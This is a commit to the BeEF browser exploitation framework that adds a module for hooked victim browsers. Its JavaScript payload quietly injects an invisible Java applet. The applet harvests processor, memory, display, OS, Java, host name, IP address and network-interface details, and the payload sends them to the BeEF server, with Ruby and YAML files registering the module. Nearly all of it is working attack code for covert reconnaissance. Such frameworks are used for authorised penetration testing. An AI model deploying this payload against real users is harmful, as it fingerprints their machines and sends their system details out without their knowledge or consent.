Added module: Get System Info (Java)

Retrieves basic information about the host system (such as the number of 
processors, amount of memory, screen display modes, operating system 
details, Java installation details and network interface names) using an 
unsigned Java applet.

Chrome users will be prompted to run the applet.

        o Working:      Opera, Firefox, Safari, Internet Explorer
        o User Notify:  Chrome



git-svn-id: https://beef.googlecode.com/svn/trunk@1376 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
bcoles@gmail.com
2011-10-21 15:26:38 +00:00
parent 801d098e97
commit 9170a2cd18
5 changed files with 253 additions and 0 deletions

View File

@@ -0,0 +1,51 @@
//
// Copyright 2011 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var internal_counter = 0;
var output;
var content = "<APPLET code='getSystemInfo' codebase='http://"+beef.net.host+":"+beef.net.port+"/' width=0 height=0 id=getSystemInfo name=getSystemInfo></APPLET>";
$j('body').append(content);
if (beef.browser.isFF()) {
output = document.getSystemInfo.getInfo();
if (output) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br />"));
} else {
function waituntilok() {
try {
output = document.getSystemInfo.getInfo();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br />"));
$j('#getSystemInfo').detach();
return;
} catch (e) {
internal_counter++;
if (internal_counter > 30) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=time out');
$j('#getSystemInfo').detach();
return;
}
setTimeout(function() {waituntilok()},1000);
}
}
setTimeout(function() {waituntilok()},5000);
}
});

View File

@@ -0,0 +1,26 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
get_system_info:
enable: true
category: "Host"
name: "Get System Info (Java)"
description: "Retrieves basic information about the host system (such as the number of processors, amount of memory, screen display modes, operating system details, Java installation details and network interface names) using an unsigned Java applet.<br /><br />Chrome users will be prompted to run the applet."
authors: ["bcoles"]
target:
working: ["O", "FF", "S", "IE"]
user_notify: ["C"]

Binary file not shown.

View File

@@ -0,0 +1,145 @@
import java.applet.*;
import java.awt.*;
import java.net.*;
import java.util.*;
public class getSystemInfo extends Applet {
public getSystemInfo() {
super();
return;
}
public static String getInfo() {
String result = "";
// -- Processor -- //
try {
// System.out.println("Available processors (cores): "+Integer.toString(Runtime.getRuntime().availableProcessors()));
result += "Available processors (cores): "+Integer.toString(Runtime.getRuntime().availableProcessors())+"\n";
}
catch (Exception exception) {
//result += "Exception while gathering processor info: "+exception;
result += "Exception while gathering processor info\n";
}
// -- Memory -- //
try {
long maximumMemory = Runtime.getRuntime().maxMemory();
// System.out.println("Maximum memory (bytes): " + (maximumMemory == Long.MAX_VALUE ? "No maximum" : maximumMemory));
result += "Maximum memory (bytes): " + (maximumMemory == Long.MAX_VALUE ? "No maximum" : maximumMemory)+"\n";
// System.out.println("Free memory (bytes): " + Runtime.getRuntime().freeMemory());
result += "Free memory (bytes): " + Runtime.getRuntime().freeMemory()+"\n";
// System.out.println("Total memory (bytes): " + Runtime.getRuntime().totalMemory());
result += "Total memory (bytes): " + Runtime.getRuntime().totalMemory()+"\n";
}
catch (Exception exception) {
//result += "Exception while gathering memory info: "+exception;
result += "Exception while gathering memory info\n";
}
// -- Displays -- //
try {
GraphicsEnvironment ge = GraphicsEnvironment.getLocalGraphicsEnvironment();
// System.out.println("Default Screen: "+ge.getDefaultScreenDevice().getIDstring());
result += "Default Screen: "+ge.getDefaultScreenDevice().getIDstring()+"\n";
GraphicsDevice[] gs = ge.getScreenDevices();
for (int i=0; i<gs.length; i++) {
DisplayMode dm = gs[i].getDisplayMode();
// System.out.println(gs[i].getIDstring()+" Mode: "+Integer.toString(dm.getWidth())+"x"+Integer.toString(dm.getHeight())+" "+Integer.toString(dm.getBitDepth())+"bit @ "+Integer.toString(dm.getRefreshRate())+"Hertz");
result += gs[i].getIDstring()+" Mode: "+Integer.toString(dm.getWidth())+"x"+Integer.toString(dm.getHeight())+" "+Integer.toString(dm.getBitDepth())+"bit @ "+Integer.toString(dm.getRefreshRate())+"Hertz"+"\n";
}
}
catch (Exception exception) {
//result += "Exception while gathering display info: "+exception;
result += "Exception while gathering display info\n";
}
// -- OS -- //
try {
// System.out.println("OS Name: "+System.getProperty("os.name"));
result += "OS Name: "+System.getProperty("os.name")+"\n";
// System.out.println("OS Version: "+System.getProperty("os.version"));
result += "OS Version: "+System.getProperty("os.version")+"\n";
// System.out.println("OS Architecture: "+System.getProperty("os.arch"));
result += "OS Architecture: "+System.getProperty("os.arch")+"\n";
}
catch (Exception exception) {
//result += "Exception while gathering OS info: "+exception;
result += "Exception while gathering OS info\n";
}
// -- Browser -- //
try {
// System.out.println("Browser Name: "+System.getProperty("browser"));
result += "Browser Name: "+System.getProperty("browser")+"\n";
// System.out.println("Browser Version: "+System.getProperty("browser.version"));
result += "Browser Version: "+System.getProperty("browser.version")+"\n";
}
catch (Exception exception) {
//result += "Exception while gathering browser info: "+exception;
result += "Exception while gathering browser info\n";
}
// -- Java -- //
try {
// System.out.println("Java Vendor: "+System.getProperty("java.vendor"));
result += "Java Vendor: "+System.getProperty("java.vendor")+"\n";
// System.out.println("Java Version: "+System.getProperty("java.version"));
result += "Java Version: "+System.getProperty("java.version")+"\n";
// System.out.println("Java Specification Version: "+System.getProperty("java.specification.version"));
result += "Java Specification Version: "+System.getProperty("java.specification.version")+"\n";
// System.out.println("Java VM Version: "+System.getProperty("java.vm.version"));
result += "Java VM Version: "+System.getProperty("java.vm.version")+"\n";
}
catch (Exception exception) {
//result += "Exception while gathering java info: "+exception;
result += "Exception while gathering java info\n";
}
// -- Network -- //
try {
// System.out.println("Host Name: " + InetAddress.getLocalHost().getHostName());
result += "Host Name: " + java.net.InetAddress.getLocalHost().getHostName()+"\n";
// System.out.println("Host Address: " + InetAddress.getLocalHost().getHostAddress());
result += "Host Address: " + java.net.InetAddress.getLocalHost().getHostAddress()+"\n";
// System.out.println("Network Interfaces:");
result += "Network Interfaces:\n";
Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces();
while (networkInterfaces.hasMoreElements()) {
NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement();
//System.out.println("\t"+networkInterface.toString());
result += "\t"+networkInterface.toString()+"\n";
}
}
catch (Exception exception) {
//result += "Exception while gathering network info: "+exception;
result += "Exception while gathering network info\n";
}
return result;
}
}
/*
if (beef.browser.isFF()) {
var internal_ip = beef.net.local.getLocalAddress();
var internal_hostname = beef.net.local.getLocalHostname();
if(internal_ip && internal_hostname) {
beef.net.send('<%= @command_url %>', <%= @command_id %>,
'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname);
}
} else {
//Trying to insert the Beeffeine applet
content = "<APPLET code='Beeffeine' codebase='http://"+beef.net.host+":"+beef.net.port+"/Beeffeine.class' width=0 height=0 id=beeffeine name=beeffeine></APPLET>";
$j('body').append(content);
internal_counter = 0;
//We have to kick off a loop now, because the user has to accept the running of the applet perhaps
*/

View File

@@ -0,0 +1,31 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Get_system_info < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_system_info/getSystemInfo.class','/getSystemInfo','class')
end
def post_execute
content = {}
content['result'] = @datastore['system_info'] if not @datastore['system_info'].nil?
content['fail'] = 'No data was returned.' if content.empty?
save content
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/getSystemInfo.class');
end
end